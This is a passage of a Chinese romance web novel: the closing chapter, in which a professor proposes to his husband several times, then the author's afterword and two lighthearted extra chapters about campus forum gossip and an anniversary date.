比钻石更快闪到岑康宁眼睛的是手机闪光灯。 毕竟戒指上的钻石再闪,也就那么大。 闪光灯就不一样了,在场的人加起来闪光灯何止十几盏,十几盏闪光灯近乎同时亮起,一时将岑康宁的眼睛差点晃瞎。 而就在他即将闭上眼的瞬间。 他听到祁钊的声音在耳畔响起: “再嫁给我一次,好吗?” 岑康宁:“……” “嫁!嫁!嫁!” 二人的身侧,不知何时,开始有围观群众起哄。 只见那方才还满脸愁云的两位阿姨忽然脸上愁云散去,笑颜如花凑到两人身边。 一位阿姨负责持续起哄。 而另一位阿姨则掏出手机,兴高采烈地打开录音: “采访一下小同志你此刻的心情,不介意我们把你们的事迹匿名写在公众号上宣传吧?” 岑康宁满头黑线。 这都什么跟什么! 他期待已久的浪漫求婚场景,怎么就变成了这样?鲜花呢,玫瑰呢?气球呢? 他有花粉过敏。 就算没有玫瑰,也得至少有个气球吧。 像上回他给祁钊过生日准备的海报也行啊,岑康宁自己是觉得还挺浪漫的。 不过…… 他垂眼,目不转睛地看着戒指盒里那小小的一枚戒指,表情不由得柔和几分。 那戒指看上去真的不太大,跟祁钊的手比起来就尤其小了。虽然有着一整圈儿钻石镶嵌在戒身上,让整个戒指看上去闪闪发亮,存在感十足。 可是,那么小的一个戒指安安静静地躺在黑色的绒布上,看上去真的很容易丢。 它这么小。 丢了以后会很难再找到吧? 一想到这里岑康宁难免心疼起来,很难接受这样漂亮的戒指也许会被遗失在某个不知名的角落里,落一层厚厚的灰。 便忍不住开口问道: “戒指尺码对吗?” “对。” 祁钊说:“我专门量过。” 岑康宁扁了扁嘴巴,仍有些不太乐意:“什么时候量的,我怎么不知道?” 祁钊说:“这件事无法提前告诉你。” 岑康宁想,也对,要是专门告诉他量戒指了。 不就是光明正大告诉他要求婚了吗? 那还算什么惊喜? 然而话又说回来,惊喜归惊喜,为什么是现在,为什么是民政局? 难道祁钊就连一天都等不了吗? 一想到自己的人生时刻竟然发生的如此猝不及防,他气咻咻地瞪着祁钊,试图传递出自己此刻格外不满的情绪。 可祁钊那隔着镜片的眼睛里却只写着一句话—— 的确。 他就是一天都等不了。 何止一天,简直一分钟都无法等待。 想到要跟岑康宁真的领取离婚证的时候,看到岑康宁一个人孤单坐在湖边,听他用带着哭腔的嗓音说“我没家了”的时候。 那瞬间。 祁钊心中只有非常强烈的,想要跟岑康宁结婚的想法。 一分一秒都不想推迟。 所以,岑康宁的回答会是什么呢? 同意? 还是不同意? 祁钊举着戒指,安静地等待着岑康宁的回答。 而终于,在距离求婚整整过去一分钟以后,岑康宁做出了自己的决定。 “……行。” 他似乎是用很勉强的语气。 可说罢飞快地将那枚戒指从戒指盒里拿出来,像是担心被人抢走一样,立刻套在了自己的无名指上。 果然尺寸刚刚好。 他露出满意的笑脸。 — 围观群众发出欢呼声。 有人起哄,还有人吹口哨。 不停地有人照相,场面一度混乱。 岑康宁的脸已经红了一大片,套上戒指以后才想起害羞。一想到自己即将成为社会新闻的主角他就尴尬地恨不得在原地找一个洞直接钻进去。 为今之计只有赶紧离开。 有多快跑多快。 免得人家发现这两个在民政局又闹又跳的人竟然是P大老师,其中一个还是教授。 到时候那丢人可就丢大了。 可当他把祁钊扶起来,想要把自己这个丢人现眼的老公赶紧拽走的时候,老公却说什么都不走。 “干嘛?还不走等着上新闻头条?” 岑康宁可丢不起那个脸。 祁钊却牵着他的手,看了眼隔壁的结婚窗口。 岑康宁:“……” — “哎呀小同志你不要害羞嘛,来都来了,顺便把结婚证一领为我们国家结婚率做贡献也是很正常的事情嘛!” 阿姨很高兴。 民政局上下的工作人员也很高兴。 路人更高兴。 唯独不高兴的只有岑康宁。 虽然工作人员跟他保证,公众号宣传绝对不会出现他的真实姓名,而且也竭力保证了刚刚照相的那些围观群众都在工作人员的劝阻下删了照片。 可岑康宁还是觉得有点儿害臊。 从民政局出去的一路上都在嘟哝着小声抱怨。 “完蛋了,明天校园头条绝对有我们,逃不掉的。惊,两奇葩男子在民政局先离婚又结婚,又唱又跳,浪费公共资源!” “不会的。”祁钊对此的反应却一直十分淡定,仿佛登上新闻,被所有人嘲笑是件完全不重要的事情。 他一直握紧着岑康宁带着戒指的那只手。 戒指的边缘有些硌。 因为握地很紧的缘故,在他的手指上留下不轻不重的痕迹。 祁钊喜欢这个痕迹。 那是两人婚姻开始的证明。 但上车以后岑康宁还在回想起方才的场景,觉得祁钊对此事的预估过于乐观: “怎么不会,钊哥你低估了现在人看热闹的劲头。” “安全带,老婆——” 祁钊说。 岑康宁于是猛地怔住,什么话都忘了,桃花眼里泛着震惊。 “叫我什么?” “老婆。” 祁钊又叫了一声,这一次看着岑康宁。 那眼神认真极了,不带有丝毫的戏谑。 岑康宁被看得脸红了,后知后觉地羞涩蔓了上来,很忽然的他意识到,这似乎是祁钊第一次这么叫自己。 曾经祁钊叫自己岑先生。 后来叫自己岑康宁。 再后来两人关系好了以后,偶尔会叫他宝宝。 但从没有过一次叫他老婆。 岑康宁一直以为是他不喜欢,毕竟网上那些人起哄乱叫太多次了,结果…… “因为领证了所以这么叫吗?” 岑康宁问。 祁钊亲了他一下,说:“不是的,因为喜欢,所以这么叫。” 岑康宁便说不出话了,唇角的弧度不断上扬,后视镜中映出一张怎么控制都控制不住的笑脸。 后来祁钊把车直接往家的方向开。 岑康宁在路上半开玩笑地问他:“钊哥你有没有想过如果在民政局求婚被我拒绝的可能性?” 祁钊点头,说:“想过。” 岑康宁佯装生气,桃花眼睨他:“那你还这么求?” “拒绝也没关系。” 祁钊语速飞快地说:“我有备选方案。” 岑康宁挺好奇备选方案是什么的,但又不好意思直接问,直到两人回到公寓。 打开门彩带飘了出来。 他看着客厅里布置好的展板跟玫瑰花才意识到。原来,备选方案就在家里的客厅。 岑康宁又惊又喜:“好漂亮!” 玫瑰花铺了快一整个客厅。 展板上贴着两人的合影。 上回在山里的时候两人在冰天雪地里拍了许多张照片,有一起的也有单独的。 祁钊将这些照片通通打印了出来。 上上回他给祁钊过生日。 两人在床上折腾很久,后来合影。 祁钊也把照片打了出来。 还有更多的照片,岑康宁睡着的样子,打游戏的样子,在床上赖床不想起来的样子。 原来不知不觉。 祁钊拍了那么多的自己。 而岑康宁也是这时才发现,原来几乎每张照片里自己脸上都带着笑。 人怎么可以这么开心? 而且祁钊知道他花粉过敏,给所有的玫瑰花上都带上了一层玻璃罩。 就好像曾经他准备的那个西蓝花蛋糕一样。 仪式感十足。 却又不会伤害彼此的身体。 岑康宁觉得有些感动,又觉得自己这么容易就感动了好像又有点儿没出息,便红着眼睛说: “那你再求一遍。” 祁钊当然不会拒绝。 于是在被玻璃永生玫瑰所包围的客厅里,两人重现了一次求婚仪式。 这一次没有民政局闹哄哄的围观群众。没有闪光灯与相机。 只有两个人彼此。 祁钊再次单膝跪地。 “嫁给我,好不好?” “好。” 这一次没有犹豫,岑康宁飞快地点头同意。 与此同时再一次地接受了祁钊的戒指。 而祁钊此时也终于拿出另一枚同款戒指,让岑康宁给自己带上。 两人的戒指并不完全相同。 岑康宁的那款明显更贵,整个戒圈上都镶嵌满了钻石,祁钊的那一款却只在戒指的最边缘处浅浅镶嵌了一小颗,更加低调。 但无论是岑康宁的戒指内圈还是祁钊的戒指内圈,都镌刻着彼此的姓名拼音缩写。 祁钊的那枚在缩写后多了一个猫爪印,岑康宁的那枚则多了一颗小行星。 将两人的戒指合二为一的时候,钻石璀璨的光芒交相辉映,阳光下,奇迹般地产生一个仿若爱心般的光圈。 这一次岑康宁终于心满意足。 认为祁教授总算准备了一个还算浪漫的求婚。 那天晚上于是颇为放纵,很是主动。 虽然后来导致的结果是第二天他必须请假,但考虑到求婚这种人生大事一辈子可能也就一回。 请假就请假吧。 岑康宁倒也不会特别可惜。 可求婚这事儿都已经过了好几天,岑康宁以为这件事就这么彻底过去了的时候。 很忽然地有一天,岑康宁需要开车出一趟门。 结果打开后备箱的瞬间。 砰地一声。 永生花组成的marry me与带着戒指的小熊玩偶像魔法一般,再度出现在他的眼前。 岑康宁顿时懵了。 当时还以为祁钊是不是跟人换了车,结果后来等他办完事他问起祁钊才得知。 原来,后备箱是另一个备选方案。 “实际上,客厅是第三方案。第二方案是如果当时你在民政局不同意,那么走出民政局以后,在停车场,我就再求一次。” “……” “你到底准备了多少备选方案?” 岑康宁忍不住问。 祁钊不正面回答他,只一味地亲着他的眼睛:“每次做实验,我都会至少准备三个以上的备选方案。” 言外之意连实验都有三个。 求婚就更不用多提。 岑康宁被亲得已经浑身酥软,像一团浆糊。可仍旧保持最后一丝理智,把祁钊的脖子搂着,问他:“那你求婚同意以后,这些方案都没撤掉吗?” 祁钊说:“不撤,有机会了就再求一遍。” 于是那天以后岑康宁就被迫开启了求婚开盲盒的过程。 一开始在后备箱发现求婚布置的时候,岑康宁还会惊讶;后来在学校的小花园里,被一个无人机忽然带着一个爱心气球飞过来的时候,他已经学会了立刻拍照记录。 再后来。 迪士尼乐园里,米奇老板搀着老板娘蹦蹦跳跳地来到他身边,拿出一个戒指款毛绒玩具的时候。 岑康宁已经完全可以做到当时非常淡定的接过来,忽略起哄的围观群众,回家以后没人的时候再开始高兴。 只是盲盒开着开着岑康宁后来就也有点儿累了,而且眼看着都快获得另一个外号“求婚哥”了,便躺在祁钊的怀里问他: “老公,你的备选方案还没结束吗?” “快了。” 祁钊说。 “要不这样,你直接告诉我还有哪里,我们找一天时间直接去全部打卡吧。” 岑康宁如是笑着提议。 祁钊倒也不是不同意,只是其实,过了这么长时间,也就只剩下一个地方两人还没去过。 “哪里?图书馆吗?” 岑康宁问。 祁钊摇摇头,要岑康宁继续猜。 岑康宁猜不到,祁钊干脆放下了手中的文献,直接开车带着岑康宁去。 当时已经很晚了。 几乎是深夜。 大部分的营业场所都打烊了,路灯下的马路上,只有零零散散几辆车穿梭而行。 祁钊把车停在路边。 下车以后岑康宁感到温度有点冷,便裹紧了身上的大衣。 “什么地方这个点儿还开门啊?” 他表示非常不解。 祁钊下车以后又把一个围巾给他套上,直到把人裹得严严实实了,才把他往目的地领。 而随着目的地越来越近。 岑康宁也忽然意识到了祁钊的最后一个求婚场所是在什么地方。 是麦当劳。 那个他最喜欢去的麦当劳。 无论开心的时候难过的时候都很喜欢的麦麦,祁钊竟然在这里也准备了求婚方案。 正震惊着,祁钊已经拉着他的手,推开了麦当劳的玻璃门。 因为是24小时营业的缘故,门内还有寥寥几个顾客与员工。 点餐台的灯亮着。 硕大的字母M散发出莹黄色的光。 祁钊对岑康宁说:“稍等。” 随后去找了营业员。 营业员一开始看上去虽然有些懵,但在祁钊说明来意以后立刻露出恍然大悟的表情。 紧接着营业员便将在店里放了快一个多月的装饰搬了出来,与此同时,给两人上了店里独有的麦记求婚套餐,里头有可乐跟炸鸡。 “祝您用餐愉快,求婚顺利呀!” 祁钊点头说谢谢,随后便在麦当劳里,举着炸鸡拼盘,再一次地单膝跪地。 “……” 岑康宁感到眼眶灼热湿润,落泪的冲动几乎无法控制。 虽然不是同一个麦当劳,不是相同的座位。 可是在这个时间点走进24小时营业的麦当劳。 他难免想起大半年前那个在麦当劳的那个夜晚。 那天晚上他为了送曹帅,回宿舍晚了,又没带身份证所以无处可去。 一个人在学校周围游荡了许久。 终于知道还有24小时营业的麦当劳可以过夜。 后来他一个人垂头丧气的在麦当劳过了一个很孤独的晚上,那天夜里便匆匆忙忙决定跟祁钊签订结婚协议。 那个时候他觉得自己真的是无路可去。 像一只无家可归的流浪狗。 跟一个陌生人结婚也总比流落街头好,当时,他那样想。 可是现在,看着眼前的祁钊,看着祁钊手里热气腾腾的麦麦脆汁鸡。他只想穿越回那一天,拍拍那个垂头丧气的少年肩膀,然后告诉他: “嗨,小子,别那么伤心。” “一切都会过去。” “你知道吗?在不久的未来,就算是24小时营业的深夜麦当劳里,也会有人为你穿着白色的西装,手举炸鸡,单膝跪地。” 那个人是你的爱人,是你的家。 更是你一辈子的命中注定。 (正文完结) 作者有话说: 终于可以打下正文完结这四个字,心中非常的怅然若失。一想到这个足足写了快三个月的故事即将要走向完结了,真的特别特别不舍得。 其实大家也看得出来,我是一个很边角料的小作者,在偌大的一个晋江,作收七百多,可能连小透明都不算。 所以也根本没想过这个故事在连载阶段会得到这么多读者的支持,根本没想过会得到这么多的收藏评论,一想到这里我就觉得特别特别的感谢大家,感谢大家这三个月以来支持,正是因为有你们的支持,我才可以一直坚持着不断更写到现在,写到正文完结。 我知道这本书有很多的不完美,包括连载期间的时候我也纠结过很多点。比如说钊哥的人设,把他原生家庭的矛盾排除出去,会不会更苏一点;又比如说宁宁的人设,让他跟黄家切割地更果断利落一些,会不会更讨喜。 这些想法有时候真的很折磨我,因为我是一个全职作者,在上本特别扑街的情况下,这本我真的很想拥有一个更好的成绩。 但最后我还是按照原来的想法写出来了,因为这样改以后,的确,他们的人设变得更完美了,可是这样一来,不就不是他们么? 那他们又有什么理由再遇到彼此呢? 这个故事可能就不复存在了吧。 所以最后还是很自我地决定按照我的想法一直写到了完结,不完美,但已经是我目前阶段能够呈现出来的最好的东西。 感谢大家,感谢钊哥,感谢宁宁。 这本书的旅途就快要结束啦,我这个司机即将“下车”但他们会在平行世界里继续幸福下去。 不过当然了,还不舍得这么快就告别的,所以番外其实还有不少想法,婚礼啊日常呀都会有一点~ 此外,如果有对我下本感兴趣的宝宝,预收在我作者专栏里。没意外的话会开《妖王下山》这一本,有意外的话可能会开《替对家影帝接了生子耽改》这一本,感兴趣的宝宝可以先收藏一下哦,爱你们么么哒[粉心][粉心]魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 92、番外一 又是一年开学季。 伴随着九月的淅沥小雨,送走上一波毕业生后,P大时隔一年,久违地迎来新一批新鲜面孔。 校园里挤挤攘攘。 随处可见带着懵懂神色的大一少年。 宽敞舒适的操场上,穿着迷彩服的孩子们动作整齐划一,在一波又一波学长学姐们的眼神洗礼下,痛并快乐地开启着他们长达四年的大学生活。 自然,校内论坛也迎来了每年一度的保留项目。 “请各位学长学姐投票,几食堂的饭菜最抢手?” "军训生虔诚祈雨,古希腊掌管下雨的神呐,今天也可以下雨室内训练吗?" "壁垒——大一新生选课的大家千万避开生科院这门,抢不到啊根本抢不到!" 放眼望去,五花八门各种各样新人气息极度浓烈的帖子几乎占满了论坛首页。 每隔一两分钟。就会有新帖子飘出来。 而在这些让人眼花缭乱的发帖中,某日,一个乍一看上去平平无奇的帖子却忽然热度飙升,成了当周热帖。 此热帖标题是这样的—— 【求助,有人认识这位学长吗?】 【是这样的,主包是一个大一计院萌新,最近刚刚结束军训,从小身体不怎么具有容错率。但这不是重点,重点是有一天主包在食堂差点晕倒的时候被一位学长救下,学长立刻给我一块儿巧克力补充血糖的同时,以迅雷不及掩耳盗铃之势带我去了校医院。谁懂啊,学长真的人美心善,主包这两天真的快找他找疯了,真的很想找到他,对他道谢!所以有没有昨天五食堂下午五点四十三分在过桥米线窗口的目击者有学长联系方式的?(拜托)(拜托)(跪了)(哭哭)】 1L:【没见过帮顶。但有些不解,学长当时不是送你去校医院了吗?当时楼主怎么不留个联系方式什么的?】 楼主回复1L:【感谢回帖,呜呜,主包倒是想啊,可惜当时晕晕乎乎什么都忘了,就记得学长长得真的很美很美了。】 2L:【?小子,你不对劲!】 楼主:【嘿嘿,也不瞒大家说,找学长除了感谢以外当然也有一些私心啦,主包母胎单身来着(害羞)。】 3L:【666,又是一个求偶帖,我就奇了怪了,九月也不是春天啊,怎么我P到处都在求偶。】 4L:【楼上不懂了吧,就是因为九月才要求偶啊,除了大一刚来的小崽子,谁还有空谈恋爱啊?】 3L回复:【也是,像我们这种老黄瓜对脱单早就绝望了,还是大一的学弟学妹有活力。不过话又说回来了,楼主你这样是大海捞针啊,你至少描述一下学长的长相,我们才好帮你集思广益。】 楼主回复:【不好意思我的错我的错,我想想啊……学长的长相绝对是校草级别算不算?总之我真的没在其他地方见过这种堪比建模的脸(哭哭)。】 3L:【还是有点宽泛了,毕竟校草候选楼可是有着两百多号提名呢。】 楼主回复:【我再想想哈,学长的皮肤特别白算不算?还有哦,学长笑起来的时候好甜哦,没记错的话脸上还有梨涡,嗷嗷嗷!对的,就是有小梨涡,太甜了,明明是个美人笑起来的时候却那么亲切,实在是太犯规了!】 4L:【不好意思误入一下,我怎么感觉楼主这个描述越看越熟悉呢?】 5L:【我也……看着现在的楼主,不知怎的莫名我就就想起了我那殉葬的五个小号。(哭)那可是我所有的小号了啊混账!】 6L:【别说了别说了,再说下去我也要哭了,呜呜我的老婆呜呜我的号。】 楼主:【?】 楼主:【本楼似乎好像歪到了奇怪的方向2333不过没关系,感谢各位学哥学姐帮忙顶帖呀(笑脸)】 7L:【楼主别笑了,快继续描述你的学长,不然的话我就直接开始省流替你此号哭坟了。】 作为一个新生,楼主显然还不明就里。不过他仍是乖巧地又回忆了一番当时的场景。 【学长身上香香的,好像有一股很清新的柠檬味。】 【学长的眼睛特别好看,眼尾带着点儿微微上翘的弧度,就……怎么说,这么说好像不太礼貌,但那我感觉好勾人啊,有点像聊斋里那种摄人心魄的妖精。】【嗯,最后还有一点我想起来了,学长的鼻翼上似乎还有一颗很小的痣,非常小,小到我不确定是不是自己眼花了!】 【总之大概就是这样了,楼主理科生词穷,更多的描述也想不出来。所以光靠着文字画像找人应该是不行的,还是更希望昨天有目击者能出现(跪求)(跪求)。】然而楼主却意想不到的是。当他这番描述出炉以后,几乎是瞬间,楼里所有人都知道了学长的真实身份。 8L:【看到建模脸的时候我就该知道答案,结果我不信,又看了下去,这下好了,梨涡桃花眼鼻翼小痣,这人是谁可真的一点都不好猜呢。】 9L:【我又来了,马后炮的说一句我从一开始就猜到了正确答案,啊,在这个冷漠的校园里,除了老婆谁又能这么善良呢?】 10L:【楼上危险发言警告一次,号不想要了是不是!】 9L:【没关系的楼下,我已堪破规律,只要我们不带大名不带照片不带外号,随便怎么叫老婆都是可以的。】 10L:【真的吗?】 9L:【真的,亲测有效,不信你试试。】 10L:【好的,那我就借楼嚎一嗓子!老婆,你老公的课是真特么的难抢啊!你就不能让你老公多开几门吗?三十岁正是一学期同时开十门公共课的好年纪。】 9L:【?】11L:【?】楼主:【?】 10L:【干嘛?楼主打问号你们也打问号,扪心自问,就算他删你们号,但现在他开十门课,难道你们不抢吗?】 12L:【10哥说的对,那该抢还是要抢的。】 13L:【10哥说的对,那该抢还是要抢的。】 141516L…… 电脑前的楼主几乎是翻了一整页,一整页都是复制粘贴,而眼看着这楼就要爬到第一百楼了,还是没人解答他的真正问题。 终于,楼主忍不住插嘴打乱了队形: 【救命啊学长学姐,我不太懂,但真的没有人能帮我找到我命中注定的老婆吗?】 99L:【卧槽,楼主你图穷匕见啊,前面还是学长,这会儿就变成老婆了?】 楼主:【嘿嘿(害羞)这不入乡随俗吗?】 100L:【小伙子你的思想很危险啊,但为了前面所有人的号,我不能告诉你他是谁,只能送你一句话:死心吧小朋友,别想了,他不是你能想的男人。】 101L:【别想了加一,我以我惨痛的经验教训告诉你,当年我就是想了,结果惨被拒绝(哭)(大哭)。】 楼主:【……】楼主其实不太懂。他怎么就不能想了呢? 虽然学长确实很漂亮,但他本人毫不自夸地说一句,他也算一个小帅。 虽然体质的确是弱了一点。但体质是可以锻炼的嘛! 而且抛开外表来说,楼主自认为自己在牛人云集的P大也算是有些拿得出手的闪光点。 N省的裸分高考状元。青少年编程大赛冠军。全国数学奥林匹克竞赛金奖。 ……是以楼主认为,就算学长非常的受欢迎,他也是能够在他众多追求者中占据一席之地的。 就算就算他真的不行。可至少跟学长当面道一声谢吧! 楼主最后悔的事就是昨天光顾着晕跟震惊学长美貌,到最后竟然连声谢谢都忘记。 楼主为此懊悔不已。 并且痛定思痛,无论遇到什么困难,都要将学长找出来,再郑重其事的对他道一次谢。 而楼主也不愧是高考人口大省N省的高考状元。其毅力与能力都是非同常人能比。 虽然在校内论坛里受了挫折,但楼主半点不气馁,自己一个人用一个下午的时间各种在互联网上到处搜索,竟然真的找到了学长的照片。 虽然是高中时期的了。 可是那时候的学长就已经非常的漂亮。 而且高中时期的学长更是可爱到没朋友! 楼主找到照片以后兴奋极了,于是立刻又在校内论坛上发帖。 【我是上午的找人楼楼主,我找到学长照片了,开心,现在有人可以告诉我他在哪个专业了吗?】 晚上正是论坛流量最大的时期。不少人趁着吃晚饭的时间在论坛里流窜摸鱼。 于是这条帖子迅速得到了水友们的关注,大家怀着关爱新同学的想法立刻点进来,想要告诉楼主激动可以,但千万别发照片。 可兴奋至极的楼主却一无所觉。 在首楼就附上了那张模糊照。 随后他开始打字:【废了好多功夫,终于在网上找到了这张照片,救命啊,老婆真的好美好漂亮,为什么高中时期就这么……. "?" “帖子怎么没了?” 晚七点。某计算机学院男生宿舍。 楼主正兴高采烈打着字,结果一转眼的功夫,眼前论坛界面开始转圈。 等他再刷新进去的时候,眼前只有一排冷冰冰的红色字体:【您的帖子已被管理员删除。】 楼主:“…”很后知后觉地,楼主终于意识到早上学哥学姐们的谆谆教导也许没有错。随便发学长的帖子的确是有被删帖封号的风险。照理说事情发展到这里楼主就该放弃了。可楼主那股倔劲儿又上来了。 再再重复一遍,楼主不愧是卷王之王N省的高考状元,被连续这么删帖,甚至最后得到封号警告,楼主依然不气馁。他开始利用各种小号在危险的边缘试探。最后得出一个结论:对方应该是有一个举报程序在24小时运转。 可这不就正对楼主专业了吗? 计算机系新生,青少年编程金奖得主的楼主于是再也不敢有半点松懈,撸起袖子,聚精会神地跟此小程序搏斗了起来。不得不承认对方在编程方面的造诣很高。这个24小时运转的程序几乎没有什么漏洞与bug。 只要在这个互联网上有人发学长的照片,或者是叫学长老婆,就绝对会被程序盯上。 怪不得早上有那么多楼里的学长学姐都惨遭封号。一般人还真斗不过它。 但楼主呢,绝对也不是一般人。编程金奖不是白拿的。 于是在反复经历了封贴,封号,重新建立小号,发帖,再将此过程重复一遍后。 终于,楼主的第十七个小号存活了下来。可喜可贺! 不得不说,这一过程甚至让楼主久违地感到了一丝兴奋,那种曾经去参加比赛的感觉又冒了出来。 他激动地想,对方应该也是个计算机的大佬吧? 倒也正常。 他们这些搞计算机的死宅,对学长这种长相就是毫无抵抗力。 喜欢上老婆就像呼吸一样简单! 而楼主此时也并未忘记自己的最终目的,于是一直在他第17个小号发布的帖子中心急如焚地等待着回复。 可惜,跟昨天形成了鲜明对比。这条帖子几乎毫无热度。 哪怕在首页飘了一会儿没被删,也很迅速地沉了下去。楼主都快哭了。 虽然他为了躲避对方的举报小程序,的确是把首楼的描述写的抽象了一点儿,而且加了很多特殊字符跟谐音字火星文以躲避小程序关键词搜索。 另外学长的高中照片也的确是P了一些。P的程度有点儿接近像素块儿水平。 可是难道这样就没人认得出来了吗? 可恶啊! 你们这些人,它分明就是学长啊,你们都看不出来吗?说好的真爱呢?! 楼主当天晚上气得一晚上都没睡好,心情奇差无比。直到次日被舍友告知,某个他很喜欢的学者在本院最大的报告厅开报告他才勉强打起一些精神来。 “嗷,祁神终于想开了啊,对嘛,像他这种人就该在我们计院开报告才对,他都不知道我们院有多适合他,比生科适合他多了!” “就是说,而且吧我看祁神这还是第一次专门来某个院开讲座,我感觉他是不是挺喜欢我们计院的吧?有没有一种可能下学期开始他就要来我们院了?” "啊啊啊,那岂不是以后我们有可能不用抢就能上到他的课了?" “绝对的,祁神以前从来不在外院开讲座的。” "期待期待,我决定讲座前的那堂课逃了,直接去报告厅占座位,你呢?" "一样。而且你刚刚没看见群里通知吗?老许自己都不想去上课要去占座位了!" 跟舍友去报告厅的一路上,诸如此类的议论此起彼伏。楼主的心情也总算是好了些。 算了,等报告结束以后再去跟小程序做斗争。他这样想着,跟舍友相视一笑,露出势在必得的笑容。 恐怕谁也没想过他们会连中午饭都不吃直接去排队占座吧? 光是听讲座有什么的。他们可是要坐第一排要到祁神亲笔签名的。 楼主想到这里脸上消失已久的笑容终于重新出现,跟舍友们勾肩搭背的来到了报告厅前。 好消息是他们来的的确早。报告厅还没开门。 坏消息,竟然有人跟他们打了同一个主意,人竟然还不少。楼主看到前面的长龙人都快傻了:“靠……大家都不吃中午饭吗?”舍友却露出一副早有预料的表情:"吃中午饭哪有见祁神重要。"楼主郁闷:“那岂不是我们白跑一趟?”舍友道:“这倒不至于,但我想告诉你一个小秘密。”楼主:“?”舍友忽然从口袋里掏出一把钥匙来,神神秘秘地笑了。两分钟后。楼主成功坐在了报告厅内部开始等待。 舍友是院学生会主席的好处这时终于显露了出来,他被老师叫进去提前调试设备。而楼主也因此沾光,在报告厅视线最好,距离祁神最近的位置拿到了一个宝贵的座位。可想而知接下来的一整个下午楼主都将沉浸在快乐之中,直到万众瞩目中,一身银灰色笔挺西装的祁钊带着自己的电脑信步出现在他眼前。 “祁祁祁……” “谁是负责人?”祁钊问。 身旁的舍友立刻激动举手:“是我老师。” 祁钊微微颔首:“好的,麻烦你了,待会儿的报告我需要连接我自己的电脑。” 楼主到这时还没意识到问题的严重性,以为祁神只是出于严谨,为了能够让自己的报告更为专业,所以才要使用投屏功能而非直接把文件传输到报告厅的电脑里操作。心想祁神好帅啊,不愧是神。 又帅又专业。 直到祁钊的电脑连接成功。大屏幕中,一张熟悉的漂亮笑脸忽然出现在他眼前。 楼主:"???"紧接着,祁钊又“不小心”点开了一个文件。嗯,那文件是他的结婚证照片。 红色的证件照格外乍眼,出现的瞬间整个报告厅都快疯了,尖叫声与闪光灯同时亮起。 而此时,足足过了十秒钟,台上的祁钊才不紧不慢说了声抱歉: “抱歉,文件点错了。不过大家应该不介意,稍后我会延长一分钟报告时间。” "….…"“顺带一提,他是我的法定配偶,我们感情很好,谢谢。”“…….” 嗯,坐在第一排黄金座位的好处终于尽数显现。好处就是当祁钊轻抬自己带着婚戒的手指时,戒指那乍眼的光芒第一个闪到的,就是楼主。 “………想哭。” “哇!” 那天后楼主终于明白了为什么学长学姐告诉他别想了,想也没用。 而那天以后。 校园传说中的封号哥终于不再孤单,迎来了他的官方CP—— 爱秀哥。 93、番外二 大约是在婚后俩个月左右。祁钊发现岑康宁似乎有些不太对劲。 他的宝贝依旧漂亮可爱,性格开朗爱笑,可不知从哪一天开始,很忽然地,祁钊察觉到两人之间开始存在一个非常严峻的问题—宝宝不爱叫老公了。 一开始祁钊以为只是自己敏感,毕竟此前岑康宁也并非天天老公不离口的那种性格,平日里频率最多的称呼是较为从众的钊哥。 然而当祁钊注意到这个问题以后。在接下来的一连三天里,岑康宁也一声老公都没叫。 这便让他不得不严肃面对问题。 毕竟两人正处于新婚热恋期。这时候的岑康宁虽然已经不像刚结婚那那个月那么黏人,天天把老公老公爱你爱你挂在嘴边。 可是就算是按照从前的频率。岑康宁也会至少两天内叫一次。 尽管叫老公的情况多半是岑康宁想偷懒,想要指挥祁钊干活了。 可无论出自于什么目的。每隔一两天,岑康宁总会叫的。 "老公帮我按摩——" “老公饿了,想吃夜宵,想要泡面。”“老公抱抱OVO。” 祁钊从未正面承认过,但实际上,他认为岑康宁的声线说出“老公”这两个音节的时候,格外的悦耳好听。 像是这世界上最迷人的乐章。让人沉迷于其中。 又像是韵律最为完美的诗篇,值得全世界吟诵流传。如果非要让祁钊在这个世界上找出一道声音来同这两个音节相提并论的话。祁钊只能想出“爱你”这两个音节勉强可以代替。可如今的岑康宁既不说“爱你”,也不叫“老公。”那问题就很严峻了。 — 祁钊起初认为,也许是自己在新婚生活中没有给足岑康宁婚姻应有的浪漫与惊喜。 于是在意识到错误的次日。他便特意安排了一次约会。 约会场景是在两人从未踏足过的城市摩天轮,传说一对儿爱人若是能够在摩天轮的顶点时接吻,爱情便能永葆青春。 祁钊对俗套的爱情传说并不感兴趣。然而若有亿分之一的概率可以保佑爱情永存,他倒是不介意去尝试。 后来证明保佑爱情也许是假的。但浪漫却是真的。 伴随着摩天轮不断升空,整个城市的万家灯火于二人的脚下慢慢浮现,璀璨的高楼大厦,川流不息的马路,有如蚂蚁一样密密麻麻的人群……岑康宁的眼睛里也不由得迸发出不亚于灯火的炫目光彩。 他一边拿出手机拍下这一刻,一边惊呼:“钊哥,真的好漂亮啊!” 还是没有叫老公。祁钊略有失望,不过此时并没有过于在意。他捧起那张夜色里愈发精致漂亮的小脸,用眼神暗示某人,该接吻了。然后便见掌心里那张原本还很白皙的漂亮小脸刷地一下红了。关于在摩天轮接吻这件事。岑康宁一开始有点扭捏:“这里会不会有监控?”但很快不等祁钊回答他。眼看着摩天轮即将到达顶点。 显然也是想起某个都市传说的他忽然就下定决心:“管他呢,有监控就有监控!” 说罢一仰头,主动亲了过去。 两人在升空的摩天轮中接了一个草莓牛奶味道的吻。而就在摩天轮抵达最高点的那一刻。砰-淡紫色的烟花忽然于两人身侧绽放。 岑康宁睁开眼,随后透过摩天轮的透明玻璃,惊讶地发现,那烟花的形状竟然是一个数字“1”。 “为什么是1?最近有什么庆典活动吗?” “有。”祁钊道:“我们相遇一周年。”岑康宁于是恍然大悟。 "咖啡馆相亲一周年是吧?" “不对。” 祁钊纠正道:“是别后重逢一周年。” 岑康宁想起那天在咖啡馆发生的一切,记忆清晰地仿佛就在昨天发生一般,只觉得时间过得飞快,眉眼里不自觉带起笑意。 “好快啊,竟然这么快就一年了,我都没有注意。”祁钊认真说:“不快,我希望时间过得慢一点。”毕竟人类的生命属实有限,而今年已经是他的第三十年。 岑康宁罕见认同他这个观点:“我也这么希望。” 因为过去的二十三年。 岑康宁好像都只是活着而已。 直到跟祁教授相遇,他真正的人生才开始。 所以他希望时间慢一点更慢一点,最好能把从前浪费的那二十年,跟祁钊一起再活一遍。 不过……话又说回来了。 祁教授为什么今天一直用这个眼神看着自己? “钊哥,你在期待什么?” “……没有。” “胡说,你的眼神分明说有。哦,我知道了。”浪漫无比的紫色烟花下,缓慢降落的摩天轮里,岑康宁凑到祁钊的耳边,轻轻咬了祁钊耳朵一口,随后很聪明的道:"在期待这个对不对?" 